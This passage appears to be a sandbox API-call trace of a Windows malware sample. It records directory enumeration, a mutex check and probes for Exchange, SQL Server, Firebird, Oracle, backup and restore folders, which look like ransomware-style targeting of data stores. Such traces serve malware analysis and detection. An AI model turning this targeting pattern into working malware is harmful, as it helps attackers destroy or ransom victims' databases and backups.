ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0274370, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0274370, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0041.197] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0041.198] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0bf9b70, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0bf9b70, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0041.198] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0274370, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0274370, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0041.198] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa030c8f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa030c8f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0041.198] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fee2270, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fee2270, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0041.198] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0041.198] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9f9510, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9f9510, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0041.198] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9f9510, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9f9510, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 0 [0041.198] GetLastError () returned 0x12 [0041.198] FindClose (in: hFindFile=0x5297a8 | out: hFindFile=0x5297a8) returned 1 [0041.198] GlobalLock (hMem=0x44000c) returned 0x520100 [0041.198] GlobalHandle (pMem=0x520100) returned 0x44000c [0041.198] GlobalUnlock (hMem=0x44000c) returned 0 [0041.198] GlobalLock (hMem=0x44000c) returned 0x520100 [0041.198] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.198] GlobalHandle (pMem=0x520100) returned 0x44000c [0041.198] GlobalUnlock (hMem=0x44000c) returned 0 [0041.198] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.198] GlobalUnlock (hMem=0x440004) returned 0 [0041.198] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61c18, cbMultiByte=3, lpWideCharStr=0x18e798, cchWideChar=2047 | out: lpWideCharStr="*.*\x8e꡴RȨ") returned 3 [0041.198] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3c07790, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3c07790, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5297a8 [0041.198] FileTimeToLocalFileTime (in: lpFileTime=0x18f878, lpLocalFileTime=0x18f788 | out: lpLocalFileTime=0x18f788) returned 1 [0041.198] FileTimeToDosDateTime (in: lpFileTime=0x18f788, lpFatDate=0x18f846, lpFatTime=0x18f844 | out: lpFatDate=0x18f846, lpFatTime=0x18f844) returned 1 [0041.198] GlobalLock (hMem=0x440004) returned 0x520100 [0041.198] GlobalHandle (pMem=0x520100) returned 0x440004 [0041.198] GlobalUnlock (hMem=0x440004) returned 0 [0041.198] GlobalLock (hMem=0x440004) returned 0x520100 [0041.198] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.198] GlobalHandle (pMem=0x520100) returned 0x440004 [0041.199] GlobalUnlock (hMem=0x440004) returned 0 [0041.199] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.199] GlobalUnlock (hMem=0x44000c) returned 0 [0041.199] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.199] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3c07790, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3c07790, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.199] FileTimeToLocalFileTime (in: lpFileTime=0x18f878, lpLocalFileTime=0x18f784 | out: lpLocalFileTime=0x18f784) returned 1 [0041.199] FileTimeToDosDateTime (in: lpFileTime=0x18f784, lpFatDate=0x18f846, lpFatTime=0x18f844 | out: lpFatDate=0x18f846, lpFatTime=0x18f844) returned 1 [0041.199] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.199] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.199] GlobalUnlock (hMem=0x44000c) returned 0 [0041.199] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.199] GlobalLock (hMem=0x440004) returned 0x550178 [0041.199] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.199] GlobalUnlock (hMem=0x44000c) returned 0 [0041.199] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.199] GlobalUnlock (hMem=0x440004) returned 0 [0041.199] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.199] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa030c8f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa030c8f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0041.199] FileTimeToLocalFileTime (in: lpFileTime=0x18f878, lpLocalFileTime=0x18f784 | out: lpLocalFileTime=0x18f784) returned 1 [0041.199] FileTimeToDosDateTime (in: lpFileTime=0x18f784, lpFatDate=0x18f846, lpFatTime=0x18f844 | out: lpFatDate=0x18f846, lpFatTime=0x18f844) returned 1 [0041.199] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.199] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.199] GlobalUnlock (hMem=0x440004) returned 0 [0041.199] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.199] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.199] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.199] GlobalUnlock (hMem=0x440004) returned 0 [0041.199] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.199] GlobalUnlock (hMem=0x44000c) returned 0 [0041.199] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.200] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.200] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.200] GlobalUnlock (hMem=0x44000c) returned 0 [0041.200] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.200] GlobalLock (hMem=0x440004) returned 0x550178 [0041.200] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.200] GlobalUnlock (hMem=0x44000c) returned 0 [0041.200] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.200] GlobalUnlock (hMem=0x440004) returned 0 [0041.200] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.200] SysReAllocStringLen (in: pbstr=0x18f784*=0x0, psz="C:\\Program Files\\Common Files", len=0x1d | out: pbstr=0x18f784*="C:\\Program Files\\Common Files") returned 1 [0041.200] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.200] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.200] GlobalUnlock (hMem=0x440004) returned 0 [0041.200] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.200] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.200] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.200] GlobalUnlock (hMem=0x440004) returned 0 [0041.200] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.200] GlobalUnlock (hMem=0x44000c) returned 0 [0041.200] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ŷ瘀ompa") returned 26 [0041.200] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft\\Exchange Server", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@秼T秐T企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0041.201] GetLastError () returned 0x3 [0041.201] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.201] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0041.201] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ŷ瘀ompa") returned 21 [0041.201] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft SQL Server", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@禔T企@\x18㾤Q\x181")) returned 0xffffffff [0041.201] GetLastError () returned 0x2 [0041.201] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.201] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0041.201] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ŷ瘀ompa") returned 9 [0041.202] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Firebird", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@蔴T企@\x18?T\x18;")) returned 0xffffffff [0041.202] GetLastError () returned 0x2 [0041.202] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.202] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0041.202] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ŷ瘀ompa") returned 8 [0041.202] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\MSSQL.1", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@倜R企@\x18?T\x18D")) returned 0xffffffff [0041.203] GetLastError () returned 0x2 [0041.203] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=8, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0041.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\i\x02") returned 37 [0041.203] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@禔T企@\x18蔴T\x18j")) returned 0xffffffff [0041.203] GetLastError () returned 0x2 [0041.203] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\i\x02") returned 37 [0041.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\i\x02") returned 6 [0041.203] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Adobe", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@倜R企@\x18?T\x18q")) returned 0xffffffff [0041.204] GetLastError () returned 0x2 [0041.204] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="adobe\\蔰Tà") returned 6 [0041.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\i\x02") returned 7 [0041.204] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Oracle", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@雄R企@\x18?T\x18y")) returned 0xffffffff [0041.204] GetLastError () returned 0x2 [0041.204] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0041.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\i\x02") returned 7 [0041.205] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Archive", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@蘜T企@\x18?T\x18\x81")) returned 0xffffffff [0041.205] GetLastError () returned 0x2 [0041.205] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\i\x02") returned 6 [0041.205] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Backup", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@倜R企@\x18?T\x18\x88")) returned 0xffffffff [0041.205] GetLastError () returned 0x2 [0041.205] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\i\x02") returned 6 [0041.206] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Reserv", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@雄R企@\x18?T\x18\x8f")) returned 0xffffffff [0041.206] GetLastError () returned 0x2 [0041.206] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\i\x02") returned 7 [0041.206] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Restore", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@蘜T企@\x18?T\x18\x97")) returned 0xffffffff [0041.206] GetLastError () returned 0x2 [0041.206] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0041.207] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.207] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.207] GlobalUnlock (hMem=0x44000c) returned 0 [0041.207] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.207] GlobalLock (hMem=0x440004) returned 0x550178 [0041.207] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.207] GlobalUnlock (hMem=0x44000c) returned 0 [0041.207] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.207] GlobalUnlock (hMem=0x440004) returned 0 [0041.207] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.207] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0041.207] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | 